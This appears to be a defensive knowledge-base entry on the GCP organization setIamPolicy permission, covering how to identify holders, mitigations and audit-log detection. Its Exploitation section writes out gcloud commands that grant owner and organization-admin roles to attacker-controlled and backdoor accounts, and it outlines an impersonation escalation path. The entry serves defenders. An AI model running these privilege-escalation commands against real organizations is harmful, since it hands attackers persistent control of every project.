GCP_SET_ORG_IAMPOLICY

Summary

Forestall ACL Alias	GCP_SET_ORG_IAMPOLICY
GCP Alias	IAM & Hierarchy Control
Affected Object Types	Organizations
Exploitation Certainty	Certain
Granting Roles	roles/owner, roles/resourcemanager.organizationAdmin, roles/iam.securityAdmin

Description

GCP_SET_ORG_IAMPOLICY indicates that an identity can call setIamPolicy on the GCP Organization resource. This is the highest-privilege IAM write operation in the GCP resource hierarchy — a principal with this edge can grant any role to any identity at the organization root, which propagates down to every folder and project beneath it.

An attacker who obtains this permission can instantly escalate to full organization control by granting themselves (or a backdoor identity) roles/owner at the org level, effectively compromising every resource in the organization.

Key abuse scenarios:

• Grant roles/owner to a controlled identity at org scope.
• Add an external attacker-controlled service account as roles/resourcemanager.organizationAdmin.
• Grant roles/iam.serviceAccountTokenCreator on a high-privilege SA to enable token generation from anywhere.

Identification

gcloud CLIGCP Console

gcloud CLI

# List the organization's IAM policy and find who can set it
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
  jq '.bindings[] | select(.role == "roles/owner" or .role == "roles/resourcemanager.organizationAdmin" or .role == "roles/iam.securityAdmin") | {role: .role, members: .members}'

GCP Console

1. Open GCP Console → IAM & Admin → IAM.
2. Select the Organization from the resource selector at the top.
3. Review all principals with Owner, Organization Admin, or Security Admin roles.

Exploitation

With setIamPolicy on the organization, an attacker can grant themselves or a backdoor identity any role organization-wide.

gcloud CLI

# Grant owner to attacker-controlled account at org level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations add-iam-policy-binding $ORG_ID \
  --member="user:[email protected]" \
  --role="roles/owner"

# Add a backdoor service account as org admin.
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations add-iam-policy-binding $ORG_ID \
  --member="serviceAccount:[email protected]" \
  --role="roles/resourcemanager.organizationAdmin"

Compound path: GCP_SET_ORG_IAMPOLICY → grant roles/iam.serviceAccountTokenCreator on a high-privilege SA → GCP_IMPERSONATE_SA → full org access via token generation.

Mitigation

1. Restrict org IAM admin roles to break-glass accounts only: Remove roles/owner, roles/resourcemanager.organizationAdmin, and roles/iam.securityAdmin from user accounts where not strictly required.

2. Enable constraints/iam.managed.allowedPolicyMembers org policy — restrict IAM bindings to your organization’s domain.

3. Audit org-level bindings regularly.

4. Enable VPC Service Controls and Access Context Manager to contain blast radius even if org IAM is compromised.

Detection

Monitor Cloud Audit Logs for SetIamPolicy calls on organization resources.

Log Type	Method	Key Fields
Admin Activity	SetOrgPolicy SetIamPolicy	resource.type=organization, methodName=SetIamPolicy
Data Access	IAM policy reads	methodName=GetIamPolicy on org

# Query Cloud Audit Logs for org-level IAM policy changes
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud logging read \
  'resource.type="organization" AND protoPayload.methodName="SetIamPolicy"' \
  --organization=$ORG_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.request.policy.bindings)"

Alert on:

• Any SetIamPolicy call on the organization resource.
• New bindings adding roles/owner, roles/resourcemanager.organizationAdmin, or roles/iam.securityAdmin at org scope.

References

• https://cloud.google.com/resource-manager/docs/access-control-org